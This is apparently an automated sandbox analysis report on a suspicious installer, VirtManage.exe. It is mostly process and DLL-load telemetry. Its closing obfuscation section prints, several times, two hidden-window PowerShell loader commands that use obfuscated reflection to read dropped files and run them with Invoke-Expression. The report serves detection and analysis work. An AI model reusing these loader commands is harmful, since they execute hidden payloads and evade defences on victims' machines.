Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: esscli.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeSection loaded: mfc42u.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeSection loaded: aclui.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exeSection loaded: moshost.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mapsbtsvc.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mosstorage.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
Source: C:\Windows\System32\svchost.exeSection loaded: bcp47langs.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mapconfiguration.dll
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeSection loaded: mfc42u.dll
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeSection loaded: aclui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\whoami.exeSection loaded: version.dll
Source: C:\Windows\System32\whoami.exeSection loaded: authz.dll
Source: C:\Windows\System32\whoami.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\whoami.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\whoami.exeSection loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\whoami.exeSection loaded: version.dll
Source: C:\Windows\System32\whoami.exeSection loaded: authz.dll
Source: C:\Windows\System32\whoami.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\whoami.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\whoami.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\VirtManage.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeAutomated click: I Agree
Source: C:\Windows\SysWOW64\msiexec.exeAutomated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exeAutomated click: Next >
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: VirtManage.exeStatic PE information: certificate valid
Source: VirtManage.exeStatic file information: File size 10539568 > 1048576
Source: VirtManage.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb source: 7za.exe, 00000007.00000003.1022882785.0000020DBFFD0000.00000004.00001000.00020000.00000000.sdmp, MSIBE11.tmp.9.dr
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb= source: 7za.exe, 00000007.00000003.1022882785.0000020DBFFD0000.00000004.00001000.00020000.00000000.sdmp, MSIBE11.tmp.9.dr
Source: Binary string: -C:\Users\user\AppData\Local\Temp\jvshszob.pdb source: powershell.exe, 00000021.00000002.2786980460.000001A789A7B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 6C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.pdbhPx source: powershell.exe, 00000019.00000002.2787411165.00000228DF6F3000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: -C:\Users\user\AppData\Local\Temp\jvshszob.pdbhPx source: powershell.exe, 00000021.00000002.2786980460.000001A789A7B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: OLEView.pdb source: VirtManage.exe, 00000000.00000003.1136946395.000000000069D000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083193597.00000207E3CAA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083115289.00000207E3CDA000.00000004.00001000.00020000.00000000.sdmp, winapi.exe, 00000018.00000002.2783866933.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000018.00000000.1259151907.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000020.00000002.2784267390.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe, 00000020.00000000.1286843052.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe.16.dr, winapi.exe.0.dr
Source: Binary string: OLEView.pdbGCTL source: VirtManage.exe, 00000000.00000003.1136946395.000000000069D000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083193597.00000207E3CAA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083115289.00000207E3CDA000.00000004.00001000.00020000.00000000.sdmp, winapi.exe, 00000018.00000002.2783866933.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000018.00000000.1259151907.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000020.00000002.2784267390.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe, 00000020.00000000.1286843052.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe.16.dr, winapi.exe.0.dr
Source: Binary string: 6C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.pdb source: powershell.exe, 00000019.00000002.2787411165.00000228DF6F3000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

barindex
Obfuscated command line found
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))"
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:zX 'Net.WebClient';Set-Variable G8E $('C:\Pro'+'gramDat'+'a\Micro'+'soft\Update'+'Desktop\eep6d'+'i0uGu.t');dir rid*;Set-Variable kAl (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'G*d'}).Name).Invoke($ExecutionContext.InvokeCommand.GetCommandName('N*-O*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(GI Variable:\zX).Value);Set-Item Variable:/75 ((((DIR Variable:\kAl).Value|Member)|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'D*g'}).Name);$ExecutionContext|ForEach{(Get-Item Variable:/_).Value.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'*ke*pt'}).Name).Invoke((DIR Variable:\kAl).Value.((GV 75 -Va)).Invoke((ChildItem Variable:/G8E).Value))}"
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))"Jump to behavior
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:zX 'Net.WebClient';Set-Variable G8E $('C:\Pro'+'gramDat'+'a\Micro'+'soft\Update'+'Desktop\eep6d'+'i0uGu.t');dir rid*;Set-Variable kAl (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'G*d'}).Name).Invoke($ExecutionContext.InvokeCommand.GetCommandName('N*-O*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(GI Variable:\zX).Value);Set-Item Variable:/75 ((((DIR Variable:\kAl).Value|Member)|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'D*g'}).Name);$ExecutionContext|ForEach{(Get-Item Variable:/_).Value.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'*ke*pt'}).Name).Invoke((DIR Variable:\kAl).Value.((GV 75 -Va)).Invoke((ChildItem Variable:/G8E).Value))}"
Suspicious powershell command line found
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))"
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:zX 'Net.WebClient';Set-Variable G8E $('C:\Pro'+'gramDat'+'a\Micro'+'soft\Update'+'Desktop\eep6d'+'i0uGu.t');dir rid*;Set-Variable kAl (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'G*d'}).Name).Invoke($ExecutionContext.InvokeCommand.GetCommandName('N*-O*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(GI Variable:\zX).Value);Set-Item Variable:/75 ((((DIR Variable:\kAl).Value|Member)|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'D*g'}).Name);$ExecutionContext|ForEach{(Get-Item Variable:/_).Value.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'*ke*pt'}).Name).Invoke((DIR Variable:\kAl).Value.((GV 75 -Va)).Invoke((ChildItem Variable:/G8E).Value))}"
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))"Jump to behavior
